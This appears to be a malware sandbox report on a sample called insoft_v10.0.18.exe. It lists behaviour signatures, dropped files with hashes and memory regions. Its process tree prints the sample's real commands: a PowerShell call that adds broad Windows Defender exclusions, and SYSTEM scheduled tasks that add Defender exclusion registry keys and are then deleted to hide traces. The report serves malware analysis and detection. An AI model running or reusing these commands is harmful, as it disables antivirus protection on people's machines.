Analysis

  • max time kernel
    151s
  • max time network
    154s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    15/08/2026, 20:31

General

  • Target
    insoft_v10.0.18.exe
  • Size 35.0MB
  • Sample260815-za7yzsgl7x
  • SHA256 2bf6c18e31def2a07021d25805fc942da5eb9790ad296a6275a793a95d9bbd83
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 6 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Program Files directory 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\insoft_v10.0.18.exe
    "C:\Users\Admin\AppData\Local\Temp\insoft_v10.0.18.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:5860
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:5664
    • C:\Users\Public\WrFbkv\sr6iKh.exe
      "C:\Users\Public\WrFbkv\sr6iKh.exe"
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Adds Run key to start application
      • Drops file in System32 directory
      • Drops file in Program Files directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4776
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of AdjustPrivilegeToken
        PID:4788
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\WrFbkv\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
        2⤵
        • Indicator Removal: Clear Persistence
        • Suspicious use of WriteProcessMemory
        PID:5136
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\WrFbkv\" /t REG_DWORD /d 0 /f"
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:2180
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Run /TN "Task1"
          3⤵
            PID:2908
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Delete /TN "Task1" /F
            3⤵
              PID:5928
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
            2⤵
            • Indicator Removal: Clear Persistence
            • Suspicious use of WriteProcessMemory
            PID:5460
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
              3⤵
              • Scheduled Task/Job: Scheduled Task
              PID:4348
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Run /TN "Task1"
              3⤵
                PID:5328
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Delete /TN "Task1" /F
                3⤵
                  PID:3484
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                2⤵
                • Indicator Removal: Clear Persistence
                • Suspicious use of WriteProcessMemory
                PID:2188
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                  3⤵
                  • Scheduled Task/Job: Scheduled Task
                  PID:6068
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Run /TN "Task1"
                  3⤵
                    PID:3552
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Delete /TN "Task1" /F
                    3⤵
                      PID:3596
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                    2⤵
                    • Indicator Removal: Clear Persistence
                    • Suspicious use of WriteProcessMemory
                    PID:5940
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                      3⤵
                      • Scheduled Task/Job: Scheduled Task
                      PID:2528
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Run /TN "Task1"
                      3⤵
                        PID:2816
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Delete /TN "Task1" /F
                        3⤵
                          PID:428
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                        2⤵
                        • Indicator Removal: Clear Persistence
                        • Suspicious use of WriteProcessMemory
                        PID:4912
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                          3⤵
                          • Scheduled Task/Job: Scheduled Task
                          PID:4680
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Run /TN "Task1"
                          3⤵
                            PID:2664
                          • C:\Windows\system32\schtasks.exe
                            SCHTASKS /Delete /TN "Task1" /F
                            3⤵
                              PID:2576
                        • C:\Users\Public\WrFbkv\sr6iKh.exe
                          "C:\Users\Public\WrFbkv\sr6iKh.exe"
                          1⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          PID:4076
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\WrFbkv" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:5528
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\WrFbkv" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:4212
                        • C:\Windows\system32\cmd.exe
                          cmd.exe
                          1⤵
                            PID:1088
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:5952
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:5804
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:4724
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:3828

                          Network

                                MITRE ATT&CK Enterprise v16

                                Replay Monitor

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                                Downloads

                                UxEnhance64.dll

                                • Path C:\Users\Public\WrFbkv\UxEnhance64.dll
                                • Size 3.1MB
                                • SHA256 35bf200dfa7747c4f2bf103fbce7f3c8c2758823a8bc3190715b62f00e7b3b7f
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                adoresd.dat

                                • Path C:\Users\Public\WrFbkv\adoresd.dat
                                • Size 4.7MB
                                • SHA256 cd3da72d0f3440226ce3745bca0509b02202be0786a6f7ad6d096791ba13198f
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                msadox.tb

                                • Path C:\Users\Public\WrFbkv\msadox.tb
                                • Size 8KB
                                • SHA256 8749676048df7c2a12e5e3c0b95d43ae7e78cf434fcd829c049936ba5f2b533b
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                sr6iKh.exe

                                • Path C:\Users\Public\WrFbkv\sr6iKh.exe
                                • Size 135KB
                                • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                memory/4076-584-0x000001F61E070000-0x000001F61E8F7000-memory.dmp

                                memory/4076-585-0x000001F61E070000-0x000001F61E8F7000-memory.dmp

                                memory/4076-587-0x000001F61E070000-0x000001F61E8F7000-memory.dmp

                                memory/4076-586-0x000001F61E070000-0x000001F61E8F7000-memory.dmp

                                memory/4076-588-0x00007FFF25710000-0x00007FFF25712000-memory.dmp

                                memory/4076-581-0x000001F61E070000-0x000001F61E8F7000-memory.dmp

                                memory/4076-579-0x00007FFF25720000-0x00007FFF25722000-memory.dmp

                                memory/4076-577-0x000001F61E070000-0x000001F61E8F7000-memory.dmp

                                memory/4076-575-0x00007FFF02AB0000-0x00007FFF02FCE000-memory.dmp

                                memory/4776-540-0x00007FFF25720000-0x00007FFF25722000-memory.dmp

                                memory/4776-567-0x00000137C3BF0000-0x00000137C4477000-memory.dmp

                                memory/4776-546-0x00000137C3BF0000-0x00000137C4477000-memory.dmp

                                memory/4776-547-0x00000137C3BF0000-0x00000137C4477000-memory.dmp

                                memory/4776-548-0x00000137C3BF0000-0x00000137C4477000-memory.dmp

                                memory/4776-552-0x00000137C3BF0000-0x00000137C4477000-memory.dmp

                                memory/4776-557-0x00000137C3080000-0x00000137C30CE000-memory.dmp

                                memory/4776-562-0x00000137C3160000-0x00000137C31EA000-memory.dmp

                                memory/4776-532-0x00007FFF25710000-0x00007FFF25712000-memory.dmp

                                memory/4776-561-0x00000137C3160000-0x00000137C31EA000-memory.dmp

                                memory/4776-559-0x00000137C3160000-0x00000137C31EA000-memory.dmp

                                memory/4776-564-0x00000137C3BF0000-0x00000137C4477000-memory.dmp

                                memory/4776-566-0x00000137C3BF0000-0x00000137C4477000-memory.dmp

                                memory/4776-545-0x00000137C3BF0000-0x00000137C4477000-memory.dmp

                                memory/4776-541-0x00000137C3BF0000-0x00000137C4477000-memory.dmp

                                memory/4776-538-0x00000137C3BF0000-0x00000137C4477000-memory.dmp

                                memory/4776-533-0x00007FFF02AB0000-0x00007FFF02FCE000-memory.dmp

                                memory/4776-560-0x00000137C3160000-0x00000137C31EA000-memory.dmp

                                memory/4788-603-0x00000293A47B0000-0x00000293A47D2000-memory.dmp

                                memory/4788-606-0x00000293A4800000-0x00000293A481E000-memory.dmp

                                memory/4788-607-0x00000293A4820000-0x00000293A48D2000-memory.dmp

                                memory/4788-609-0x00000293A47F0000-0x00000293A47FA000-memory.dmp

                                memory/5860-503-0x00007FFF1CD50000-0x00007FFF1CD62000-memory.dmp

                                memory/5860-0-0x0000000004290000-0x000000000429E000-memory.dmp

                                memory/5860-1-0x00000000042A0000-0x00000000042AC000-memory.dmp

                                memory/5860-526-0x00007FFF1CD50000-0x00007FFF1CD62000-memory.dmp

                                memory/5860-525-0x0000000004290000-0x000000000429E000-memory.dmp